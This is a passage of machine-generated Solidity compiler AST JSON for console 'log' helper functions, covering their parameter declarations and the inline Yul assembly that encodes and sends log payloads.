"typeName":{"id":39833,"name":"bytes32","nodeType":"ElementaryTypeName","src":"184229:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":39836,"mutability":"mutable","name":"p3","nameLocation":"184249:2:22","nodeType":"VariableDeclaration","scope":39868,"src":"184241:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39835,"name":"address","nodeType":"ElementaryTypeName","src":"184241:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"184210:42:22"},"returnParameters":{"id":39838,"nodeType":"ParameterList","parameters":[],"src":"184267:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39908,"nodeType":"FunctionDefinition","src":"185532:1322:22","nodes":[],"body":{"id":39907,"nodeType":"Block","src":"185598:1256:22","nodes":[],"statements":[{"assignments":[39880],"declarations":[{"constant":false,"id":39880,"mutability":"mutable","name":"m0","nameLocation":"185616:2:22","nodeType":"VariableDeclaration","scope":39907,"src":"185608:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39879,"name":"bytes32","nodeType":"ElementaryTypeName","src":"185608:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39881,"nodeType":"VariableDeclarationStatement","src":"185608:10:22"},{"assignments":[39883],"declarations":[{"constant":false,"id":39883,"mutability":"mutable","name":"m1","nameLocation":"185636:2:22","nodeType":"VariableDeclaration","scope":39907,"src":"185628:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39882,"name":"bytes32","nodeType":"ElementaryTypeName","src":"185628:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39884,"nodeType":"VariableDeclarationStatement","src":"185628:10:22"},{"assignments":[39886],"declarations":[{"constant":false,"id":39886,"mutability":"mutable","name":"m2","nameLocation":"185656:2:22","nodeType":"VariableDeclaration","scope":39907,"src":"185648:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39885,"name":"bytes32","nodeType":"ElementaryTypeName","src":"185648:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39887,"nodeType":"VariableDeclarationStatement","src":"185648:10:22"},{"assignments":[39889],"declarations":[{"constant":false,"id":39889,"mutability":"mutable","name":"m3","nameLocation":"185676:2:22","nodeType":"VariableDeclaration","scope":39907,"src":"185668:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39888,"name":"bytes32","nodeType":"ElementaryTypeName","src":"185668:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39890,"nodeType":"VariableDeclarationStatement","src":"185668:10:22"},{"assignments":[39892],"declarations":[{"constant":false,"id":39892,"mutability":"mutable","name":"m4","nameLocation":"185696:2:22","nodeType":"VariableDeclaration","scope":39907,"src":"185688:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39891,"name":"bytes32","nodeType":"ElementaryTypeName","src":"185688:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39893,"nodeType":"VariableDeclarationStatement","src":"185688:10:22"},{"assignments":[39895],"declarations":[{"constant":false,"id":39895,"mutability":"mutable","name":"m5","nameLocation":"185716:2:22","nodeType":"VariableDeclaration","scope":39907,"src":"185708:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39894,"name":"bytes32","nodeType":"ElementaryTypeName","src":"185708:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39896,"nodeType":"VariableDeclarationStatement","src":"185708:10:22"},{"assignments":[39898],"declarations":[{"constant":false,"id":39898,"mutability":"mutable","name":"m6","nameLocation":"185736:2:22","nodeType":"VariableDeclaration","scope":39907,"src":"185728:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39897,"name":"bytes32","nodeType":"ElementaryTypeName","src":"185728:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39899,"nodeType":"VariableDeclarationStatement","src":"185728:10:22"},{"AST":{"nativeSrc":"185757:822:22","nodeType":"YulBlock","src":"185757:822:22","statements":[{"body":{"nativeSrc":"185800:313:22","nodeType":"YulBlock","src":"185800:313:22","statements":[{"nativeSrc":"185818:15:22","nodeType":"YulVariableDeclaration","src":"185818:15:22","value":{"kind":"number","nativeSrc":"185832:1:22","nodeType":"YulLiteral","src":"185832:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"185822:6:22","nodeType":"YulTypedName","src":"185822:6:22","type":""}]},{"body":{"nativeSrc":"185903:40:22","nodeType":"YulBlock","src":"185903:40:22","statements":[{"body":{"nativeSrc":"185932:9:22","nodeType":"YulBlock","src":"185932:9:22","statements":[{"nativeSrc":"185934:5:22","nodeType":"YulBreak","src":"185934:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"185920:6:22","nodeType":"YulIdentifier","src":"185920:6:22"},{"name":"w","nativeSrc":"185928:1:22","nodeType":"YulIdentifier","src":"185928:1:22"}],"functionName":{"name":"byte","nativeSrc":"185915:4:22","nodeType":"YulIdentifier","src":"185915:4:22"},"nativeSrc":"185915:15:22","nodeType":"YulFunctionCall","src":"185915:15:22"}],"functionName":{"name":"iszero","nativeSrc":"185908:6:22","nodeType":"YulIdentifier","src":"185908:6:22"},"nativeSrc":"185908:23:22","nodeType":"YulFunctionCall","src":"185908:23:22"},"nativeSrc":"185905:36:22","nodeType":"YulIf","src":"185905:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"185860:6:22","nodeType":"YulIdentifier","src":"185860:6:22"},{"kind":"number","nativeSrc":"185868:4:22","nodeType":"YulLiteral","src":"185868:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"185857:2:22","nodeType":"YulIdentifier","src":"185857:2:22"},"nativeSrc":"185857:16:22","nodeType":"YulFunctionCall","src":"185857:16:22"},"nativeSrc":"185850:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"185874:28:22","nodeType":"YulBlock","src":"185874:28:22","statements":[{"nativeSrc":"185876:24:22","nodeType":"YulAssignment","src":"185876:24:22","value":{"arguments":[{"name":"length","nativeSrc":"185890:6:22","nodeType":"YulIdentifier","src":"185890:6:22"},{"kind":"number","nativeSrc":"185898:1:22","nodeType":"YulLiteral","src":"185898:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"185886:3:22","nodeType":"YulIdentifier","src":"185886:3:22"},"nativeSrc":"185886:14:22","nodeType":"YulFunctionCall","src":"185886:14:22"},"variableNames":[{"name":"length","nativeSrc":"185876:6:22","nodeType":"YulIdentifier","src":"185876:6:22"}]}]},"pre":{"nativeSrc":"185854:2:22","nodeType":"YulBlock","src":"185854:2:22","statements":[]},"src":"185850:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"185967:3:22","nodeType":"YulIdentifier","src":"185967:3:22"},{"name":"length","nativeSrc":"185972:6:22","nodeType":"YulIdentifier","src":"185972:6:22"}],"functionName":{"name":"mstore","nativeSrc":"185960:6:22","nodeType":"YulIdentifier","src":"185960:6:22"},"nativeSrc":"185960:19:22","nodeType":"YulFunctionCall","src":"185960:19:22"},"nativeSrc":"185960:19:22","nodeType":"YulExpressionStatement","src":"185960:19:22"},{"nativeSrc":"185996:37:22","nodeType":"YulVariableDeclaration","src":"185996:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"186013:3:22","nodeType":"YulLiteral","src":"186013:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"186022:1:22","nodeType":"YulLiteral","src":"186022:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"186025:6:22","nodeType":"YulIdentifier","src":"186025:6:22"}],"functionName":{"name":"shl","nativeSrc":"186018:3:22","nodeType":"YulIdentifier","src":"186018:3:22"},"nativeSrc":"186018:14:22","nodeType":"YulFunctionCall","src":"186018:14:22"}],"functionName":{"name":"sub","nativeSrc":"186009:3:22","nodeType":"YulIdentifier","src":"186009:3:22"},"nativeSrc":"186009:24:22","nodeType":"YulFunctionCall","src":"186009:24:22"},"variables":[{"name":"shift","nativeSrc":"186000:5:22","nodeType":"YulTypedName","src":"186000:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"186061:3:22","nodeType":"YulIdentifier","src":"186061:3:22"},{"kind":"number","nativeSrc":"186066:4:22","nodeType":"YulLiteral","src":"186066:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"186057:3:22","nodeType":"YulIdentifier","src":"186057:3:22"},"nativeSrc":"186057:14:22","nodeType":"YulFunctionCall","src":"186057:14:22"},{"arguments":[{"name":"shift","nativeSrc":"186077:5:22","nodeType":"YulIdentifier","src":"186077:5:22"},{"arguments":[{"name":"shift","nativeSrc":"186088:5:22","nodeType":"YulIdentifier","src":"186088:5:22"},{"name":"w","nativeSrc":"186095:1:22","nodeType":"YulIdentifier","src":"186095:1:22"}],"functionName":{"name":"shr","nativeSrc":"186084:3:22","nodeType":"YulIdentifier","src":"186084:3:22"},"nativeSrc":"186084:13:22","nodeType":"YulFunctionCall","src":"186084:13:22"}],"functionName":{"name":"shl","nativeSrc":"186073:3:22","nodeType":"YulIdentifier","src":"186073:3:22"},"nativeSrc":"186073:25:22","nodeType":"YulFunctionCall","src":"186073:25:22"}],"functionName":{"name":"mstore","nativeSrc":"186050:6:22","nodeType":"YulIdentifier","src":"186050:6:22"},"nativeSrc":"186050:49:22","nodeType":"YulFunctionCall","src":"186050:49:22"},"nativeSrc":"186050:49:22","nodeType":"YulExpressionStatement","src":"186050:49:22"}]},"name":"writeString","nativeSrc":"185771:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"185792:3:22","nodeType":"YulTypedName","src":"185792:3:22","type":""},{"name":"w","nativeSrc":"185797:1:22","nodeType":"YulTypedName","src":"185797:1:22","type":""}],"src":"185771:342:22"},{"nativeSrc":"186126:17:22","nodeType":"YulAssignment","src":"186126:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"186138:4:22","nodeType":"YulLiteral","src":"186138:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"186132:5:22","nodeType":"YulIdentifier","src":"186132:5:22"},"nativeSrc":"186132:11:22","nodeType":"YulFunctionCall","src":"186132:11:22"},"variableNames":[{"name":"m0","nativeSrc":"186126:2:22","nodeType":"YulIdentifier","src":"186126:2:22"}]},{"nativeSrc":"186156:17:22","nodeType":"YulAssignment","src":"186156:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"186168:4:22","nodeType":"YulLiteral","src":"186168:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"186162:5:22","nodeType":"YulIdentifier","src":"186162:5:22"},"nativeSrc":"186162:11:22","nodeType":"YulFunctionCall","src":"186162:11:22"},"variableNames":[{"name":"m1","nativeSrc":"186156:2:22","nodeType":"YulIdentifier","src":"186156:2:22"}]},{"nativeSrc":"186186:17:22","nodeType":"YulAssignment","src":"186186:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"186198:4:22","nodeType":"YulLiteral","src":"186198:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"186192:5:22","nodeType":"YulIdentifier","src":"186192:5:22"},"nativeSrc":"186192:11:22","nodeType":"YulFunctionCall","src":"186192:11:22"},"variableNames":[{"name":"m2","nativeSrc":"186186:2:22","nodeType":"YulIdentifier","src":"186186:2:22"}]},{"nativeSrc":"186216:17:22","nodeType":"YulAssignment","src":"186216:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"186228:4:22","nodeType":"YulLiteral","src":"186228:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"186222:5:22","nodeType":"YulIdentifier","src":"186222:5:22"},"nativeSrc":"186222:11:22","nodeType":"YulFunctionCall","src":"186222:11:22"},"variableNames":[{"name":"m3","nativeSrc":"186216:2:22","nodeType":"YulIdentifier","src":"186216:2:22"}]},{"nativeSrc":"186246:17:22","nodeType":"YulAssignment","src":"186246:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"186258:4:22","nodeType":"YulLiteral","src":"186258:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"186252:5:22","nodeType":"YulIdentifier","src":"186252:5:22"},"nativeSrc":"186252:11:22","nodeType":"YulFunctionCall","src":"186252:11:22"},"variableNames":[{"name":"m4","nativeSrc":"186246:2:22","nodeType":"YulIdentifier","src":"186246:2:22"}]},{"nativeSrc":"186276:17:22","nodeType":"YulAssignment","src":"186276:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"186288:4:22","nodeType":"YulLiteral","src":"186288:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"186282:5:22","nodeType":"YulIdentifier","src":"186282:5:22"},"nativeSrc":"186282:11:22","nodeType":"YulFunctionCall","src":"186282:11:22"},"variableNames":[{"name":"m5","nativeSrc":"186276:2:22","nodeType":"YulIdentifier","src":"186276:2:22"}]},{"nativeSrc":"186306:17:22","nodeType":"YulAssignment","src":"186306:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"186318:4:22","nodeType":"YulLiteral","src":"186318:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"186312:5:22","nodeType":"YulIdentifier","src":"186312:5:22"},"nativeSrc":"186312:11:22","nodeType":"YulFunctionCall","src":"186312:11:22"},"variableNames":[{"name":"m6","nativeSrc":"186306:2:22","nodeType":"YulIdentifier","src":"186306:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186400:4:22","nodeType":"YulLiteral","src":"186400:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"186406:10:22","nodeType":"YulLiteral","src":"186406:10:22","type":"","value":"0xb857163a"}],"functionName":{"name":"mstore","nativeSrc":"186393:6:22","nodeType":"YulIdentifier","src":"186393:6:22"},"nativeSrc":"186393:24:22","nodeType":"YulFunctionCall","src":"186393:24:22"},"nativeSrc":"186393:24:22","nodeType":"YulExpressionStatement","src":"186393:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186437:4:22","nodeType":"YulLiteral","src":"186437:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"186443:2:22","nodeType":"YulIdentifier","src":"186443:2:22"}],"functionName":{"name":"mstore","nativeSrc":"186430:6:22","nodeType":"YulIdentifier","src":"186430:6:22"},"nativeSrc":"186430:16:22","nodeType":"YulFunctionCall","src":"186430:16:22"},"nativeSrc":"186430:16:22","nodeType":"YulExpressionStatement","src":"186430:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186466:4:22","nodeType":"YulLiteral","src":"186466:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"186472:2:22","nodeType":"YulIdentifier","src":"186472:2:22"}],"functionName":{"name":"mstore","nativeSrc":"186459:6:22","nodeType":"YulIdentifier","src":"186459:6:22"},"nativeSrc":"186459:16:22","nodeType":"YulFunctionCall","src":"186459:16:22"},"nativeSrc":"186459:16:22","nodeType":"YulExpressionStatement","src":"186459:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186495:4:22","nodeType":"YulLiteral","src":"186495:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"186501:4:22","nodeType":"YulLiteral","src":"186501:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"186488:6:22","nodeType":"YulIdentifier","src":"186488:6:22"},"nativeSrc":"186488:18:22","nodeType":"YulFunctionCall","src":"186488:18:22"},"nativeSrc":"186488:18:22","nodeType":"YulExpressionStatement","src":"186488:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186526:4:22","nodeType":"YulLiteral","src":"186526:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"186532:2:22","nodeType":"YulIdentifier","src":"186532:2:22"}],"functionName":{"name":"mstore","nativeSrc":"186519:6:22","nodeType":"YulIdentifier","src":"186519:6:22"},"nativeSrc":"186519:16:22","nodeType":"YulFunctionCall","src":"186519:16:22"},"nativeSrc":"186519:16:22","nodeType":"YulExpressionStatement","src":"186519:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186560:4:22","nodeType":"YulLiteral","src":"186560:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"186566:2:22","nodeType":"YulIdentifier","src":"186566:2:22"}],"functionName":{"name":"writeString","nativeSrc":"186548:11:22","nodeType":"YulIdentifier","src":"186548:11:22"},"nativeSrc":"186548:21:22","nodeType":"YulFunctionCall","src":"186548:21:22"},"nativeSrc":"186548:21:22","nodeType":"YulExpressionStatement","src":"186548:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39880,"isOffset":false,"isSlot":false,"src":"186126:2:22","valueSize":1},{"declaration":39883,"isOffset":false,"isSlot":false,"src":"186156:2:22","valueSize":1},{"declaration":39886,"isOffset":false,"isSlot":false,"src":"186186:2:22","valueSize":1},{"declaration":39889,"isOffset":false,"isSlot":false,"src":"186216:2:22","valueSize":1},{"declaration":39892,"isOffset":false,"isSlot":false,"src":"186246:2:22","valueSize":1},{"declaration":39895,"isOffset":false,"isSlot":false,"src":"186276:2:22","valueSize":1},{"declaration":39898,"isOffset":false,"isSlot":false,"src":"186306:2:22","valueSize":1},{"declaration":39870,"isOffset":false,"isSlot":false,"src":"186443:2:22","valueSize":1},{"declaration":39872,"isOffset":false,"isSlot":false,"src":"186472:2:22","valueSize":1},{"declaration":39874,"isOffset":false,"isSlot":false,"src":"186566:2:22","valueSize":1},{"declaration":39876,"isOffset":false,"isSlot":false,"src":"186532:2:22","valueSize":1}],"id":39900,"nodeType":"InlineAssembly","src":"185748:831:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39902,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"186604:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":39903,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"186610:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":39901,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"186588:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39904,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"186588:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39905,"nodeType":"ExpressionStatement","src":"186588:27:22"},{"AST":{"nativeSrc":"186634:214:22","nodeType":"YulBlock","src":"186634:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"186655:4:22","nodeType":"YulLiteral","src":"186655:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"186661:2:22","nodeType":"YulIdentifier","src":"186661:2:22"}],"functionName":{"name":"mstore","nativeSrc":"186648:6:22","nodeType":"YulIdentifier","src":"186648:6:22"},"nativeSrc":"186648:16:22","nodeType":"YulFunctionCall","src":"186648:16:22"},"nativeSrc":"186648:16:22","nodeType":"YulExpressionStatement","src":"186648:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186684:4:22","nodeType":"YulLiteral","src":"186684:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"186690:2:22","nodeType":"YulIdentifier","src":"186690:2:22"}],"functionName":{"name":"mstore","nativeSrc":"186677:6:22","nodeType":"YulIdentifier","src":"186677:6:22"},"nativeSrc":"186677:16:22","nodeType":"YulFunctionCall","src":"186677:16:22"},"nativeSrc":"186677:16:22","nodeType":"YulExpressionStatement","src":"186677:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186713:4:22","nodeType":"YulLiteral","src":"186713:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"186719:2:22","nodeType":"YulIdentifier","src":"186719:2:22"}],"functionName":{"name":"mstore","nativeSrc":"186706:6:22","nodeType":"YulIdentifier","src":"186706:6:22"},"nativeSrc":"186706:16:22","nodeType":"YulFunctionCall","src":"186706:16:22"},"nativeSrc":"186706:16:22","nodeType":"YulExpressionStatement","src":"186706:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186742:4:22","nodeType":"YulLiteral","src":"186742:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"186748:2:22","nodeType":"YulIdentifier","src":"186748:2:22"}],"functionName":{"name":"mstore","nativeSrc":"186735:6:22","nodeType":"YulIdentifier","src":"186735:6:22"},"nativeSrc":"186735:16:22","nodeType":"YulFunctionCall","src":"186735:16:22"},"nativeSrc":"186735:16:22","nodeType":"YulExpressionStatement","src":"186735:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186771:4:22","nodeType":"YulLiteral","src":"186771:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"186777:2:22","nodeType":"YulIdentifier","src":"186777:2:22"}],"functionName":{"name":"mstore","nativeSrc":"186764:6:22","nodeType":"YulIdentifier","src":"186764:6:22"},"nativeSrc":"186764:16:22","nodeType":"YulFunctionCall","src":"186764:16:22"},"nativeSrc":"186764:16:22","nodeType":"YulExpressionStatement","src":"186764:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186800:4:22","nodeType":"YulLiteral","src":"186800:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"186806:2:22","nodeType":"YulIdentifier","src":"186806:2:22"}],"functionName":{"name":"mstore","nativeSrc":"186793:6:22","nodeType":"YulIdentifier","src":"186793:6:22"},"nativeSrc":"186793:16:22","nodeType":"YulFunctionCall","src":"186793:16:22"},"nativeSrc":"186793:16:22","nodeType":"YulExpressionStatement","src":"186793:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"186829:4:22","nodeType":"YulLiteral","src":"186829:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"186835:2:22","nodeType":"YulIdentifier","src":"186835:2:22"}],"functionName":{"name":"mstore","nativeSrc":"186822:6:22","nodeType":"YulIdentifier","src":"186822:6:22"},"nativeSrc":"186822:16:22","nodeType":"YulFunctionCall","src":"186822:16:22"},"nativeSrc":"186822:16:22","nodeType":"YulExpressionStatement","src":"186822:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39880,"isOffset":false,"isSlot":false,"src":"186661:2:22","valueSize":1},{"declaration":39883,"isOffset":false,"isSlot":false,"src":"186690:2:22","valueSize":1},{"declaration":39886,"isOffset":false,"isSlot":false,"src":"186719:2:22","valueSize":1},{"declaration":39889,"isOffset":false,"isSlot":false,"src":"186748:2:22","valueSize":1},{"declaration":39892,"isOffset":false,"isSlot":false,"src":"186777:2:22","valueSize":1},{"declaration":39895,"isOffset":false,"isSlot":false,"src":"186806:2:22","valueSize":1},{"declaration":39898,"isOffset":false,"isSlot":false,"src":"186835:2:22","valueSize":1}],"id":39906,"nodeType":"InlineAssembly","src":"186625:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"185541:3:22","parameters":{"id":39877,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39870,"mutability":"mutable","name":"p0","nameLocation":"185550:2:22","nodeType":"VariableDeclaration","scope":39908,"src":"185545:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39869,"name":"bool","nodeType":"ElementaryTypeName","src":"185545:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39872,"mutability":"mutable","name":"p1","nameLocation":"185559:2:22","nodeType":"VariableDeclaration","scope":39908,"src":"185554:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39871,"name":"bool","nodeType":"ElementaryTypeName","src":"185554:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39874,"mutability":"mutable","name":"p2","nameLocation":"185571:2:22","nodeType":"VariableDeclaration","scope":39908,"src":"185563:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39873,"name":"bytes32","nodeType":"ElementaryTypeName","src":"185563:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":39876,"mutability":"mutable","name":"p3","nameLocation":"185580:2:22","nodeType":"VariableDeclaration","scope":39908,"src":"185575:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39875,"name":"bool","nodeType":"ElementaryTypeName","src":"185575:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"185544:39:22"},"returnParameters":{"id":39878,"nodeType":"ParameterList","parameters":[],"src":"185598:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39948,"nodeType":"FunctionDefinition","src":"186860:1328:22","nodes":[],"body":{"id":39947,"nodeType":"Block","src":"186929:1259:22","nodes":[],"statements":[{"assignments":[39920],"declarations":[{"constant":false,"id":39920,"mutability":"mutable","name":"m0","nameLocation":"186947:2:22","nodeType":"VariableDeclaration","scope":39947,"src":"186939:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39919,"name":"bytes32","nodeType":"ElementaryTypeName","src":"186939:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39921,"nodeType":"VariableDeclarationStatement","src":"186939:10:22"},{"assignments":[39923],"declarations":[{"constant":false,"id":39923,"mutability":"mutable","name":"m1","nameLocation":"186967:2:22","nodeType":"VariableDeclaration","scope":39947,"src":"186959:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39922,"name":"bytes32","nodeType":"ElementaryTypeName","src":"186959:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39924,"nodeType":"VariableDeclarationStatement","src":"186959:10:22"},{"assignments":[39926],"declarations":[{"constant":false,"id":39926,"mutability":"mutable","name":"m2","nameLocation":"186987:2:22","nodeType":"VariableDeclaration","scope":39947,"src":"186979:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39925,"name":"bytes32","nodeType":"ElementaryTypeName","src":"186979:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39927,"nodeType":"VariableDeclarationStatement","src":"186979:10:22"},{"assignments":[39929],"declarations":[{"constant":false,"id":39929,"mutability":"mutable","name":"m3","nameLocation":"187007:2:22","nodeType":"VariableDeclaration","scope":39947,"src":"186999:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39928,"name":"bytes32","nodeType":"ElementaryTypeName","src":"186999:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39930,"nodeType":"VariableDeclarationStatement","src":"186999:10:22"},{"assignments":[39932],"declarations":[{"constant":false,"id":39932,"mutability":"mutable","name":"m4","nameLocation":"187027:2:22","nodeType":"VariableDeclaration","scope":39947,"src":"187019:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39931,"name":"bytes32","nodeType":"ElementaryTypeName","src":"187019:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39933,"nodeType":"VariableDeclarationStatement","src":"187019:10:22"},{"assignments":[39935],"declarations":[{"constant":false,"id":39935,"mutability":"mutable","name":"m5","nameLocation":"187047:2:22","nodeType":"VariableDeclaration","scope":39947,"src":"187039:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39934,"name":"bytes32","nodeType":"ElementaryTypeName","src":"187039:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39936,"nodeType":"VariableDeclarationStatement","src":"187039:10:22"},{"assignments":[39938],"declarations":[{